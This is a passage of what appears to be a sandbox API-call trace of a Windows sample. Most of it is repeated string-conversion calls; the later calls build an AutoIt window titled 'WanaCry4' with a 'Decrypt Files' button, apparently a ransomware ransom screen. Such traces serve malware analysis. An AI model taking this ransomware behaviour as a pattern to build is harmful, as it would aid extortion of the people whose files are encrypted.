lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.332] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.333] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.334] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.335] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.336] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.337] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.338] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.339] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.340] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.341] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.342] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.342] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.343] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.344] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.345] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.346] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.347] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.348] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.349] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.350] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.351] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.352] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.353] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.354] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.355] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.356] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.357] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.358] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.589] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x10f395f350, fWinIni=0x0 | out: pvParam=0x10f395f350) returned 1 [0048.589] GetSystemMetrics (nIndex=7) returned 3 [0048.589] SystemParametersInfoW (in: uiAction=0x30, uiParam=0x0, pvParam=0x10f395f350, fWinIni=0x0 | out: pvParam=0x10f395f350) returned 1 [0048.589] GetSystemMetrics (nIndex=8) returned 3 [0048.589] GetSystemMetrics (nIndex=4) returned 23 [0048.589] SetRect (in: lprc=0x10f395f350, xLeft=0, yTop=0, xRight=800, yBottom=650 | out: lprc=0x10f395f350) returned 1 [0048.589] AdjustWindowRectEx (in: lpRect=0x10f395f350, dwStyle=0x84c00000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x10f395f350) returned 1 [0048.589] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3 GUI", lpWindowName="WanaCry4", dwStyle=0x84c00000, X=318, Y=92, nWidth=806, nHeight=679, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x501e8 [0048.589] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.589] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x81, wParam=0x0, lParam=0x10f395ed00) returned 0x1 [0048.590] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.590] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x83, wParam=0x0, lParam=0x10f395ed70) returned 0x0 [0048.590] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.590] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.590] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x5, wParam=0x0, lParam=0x28a0320) returned 0x0 [0048.590] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.590] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x3, wParam=0x0, lParam=0x760141) returned 0x0 [0048.590] SetWindowLongPtrW (hWnd=0x501e8, nIndex=-21, dwNewLong=0x0) returned 0x0 [0048.590] GetClientRect (in: hWnd=0x501e8, lpRect=0x10f395f350 | out: lpRect=0x10f395f350) returned 1 [0048.590] GetStockObject (i=17) returned 0x10a0047 [0048.590] SendMessageW (hWnd=0x501e8, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0048.590] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.590] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0048.590] GetCursorPos (in: lpPoint=0x10f395f2f0 | out: lpPoint=0x10f395f2f0*(x=778, y=512)) returned 1 [0048.590] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f2f0 | out: lpPoint=0x10f395f2f0) returned 1 [0048.590] GetAsyncKeyState (vKey=1) returned 0 [0048.590] GetAsyncKeyState (vKey=2) returned 0 [0048.590] SetTimer (hWnd=0x0, nIDEvent=0x0, uElapse=0x28, lpTimerFunc=0x7ff756b75a9c) returned 0x7f58 [0048.591] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.591] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.591] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.591] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0048.591] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.591] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Decrypt Files", dwStyle=0x50030000, X=176, Y=400, nWidth=113, nHeight=41, hWndParent=0x501e8, hMenu=0x3, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xb018c [0048.592] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.592] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x55, wParam=0xb018c, lParam=0x3) returned 0x2 [0048.592] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.592] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0048.592] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.592] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0048.592] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.592] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0048.592] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.592] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x30001, lParam=0xb018c) returned 0x0 [0048.592] GetStockObject (i=17) returned 0x10a0047 [0048.592] SendMessageW (hWnd=0xb018c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0048.592] GetClientRect (in: hWnd=0xb018c, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.592] GetWindowRect (in: hWnd=0xb018c, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.592] SetWindowLongPtrW (hWnd=0xb018c, nIndex=-21, dwNewLong=0x3) returned 0x0 [0048.592] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.593] GetDC (hWnd=0x0) returned 0x11010729 [0048.593] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0048.593] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0048.593] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x6a0a05d0 [0048.593] SendMessageW (hWnd=0xb018c, Msg=0x30, wParam=0x6a0a05d0, lParam=0x1) returned 0x0 [0048.593] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.593] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="", dwStyle=0x503110c4, X=16, Y=56, nWidth=768, nHeight=329, hWndParent=0x501e8, hMenu=0x4, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xf001e [0048.596] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.596] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x40001, lParam=0xf001e) returned 0x0 [0048.597] GetStockObject (i=17) returned 0x10a0047 [0048.597] SendMessageW (hWnd=0xf001e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0048.598] GetWindowTextLengthW (hWnd=0xf001e) returned 0 [0048.598] SendMessageW (hWnd=0xf001e, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0048.598] GetClientRect (in: hWnd=0xf001e, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.598] GetWindowRect (in: hWnd=0xf001e, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.598] SetWindowLongPtrW (hWnd=0xf001e, nIndex=-21, dwNewLong=0x4) returned 0x0 [0048.598] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.598] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0048.598] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0048.598] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0048.598] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0048.604] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0048.604] CharLowerBuffW (in: lpsz="lresult", cchLength=0x7 | out: lpsz="lresult") returned 0x7 [0048.605] LoadLibraryW (lpLibFileName="user32.dll") returned 0x7ffe2a3b0000 [0048.605] 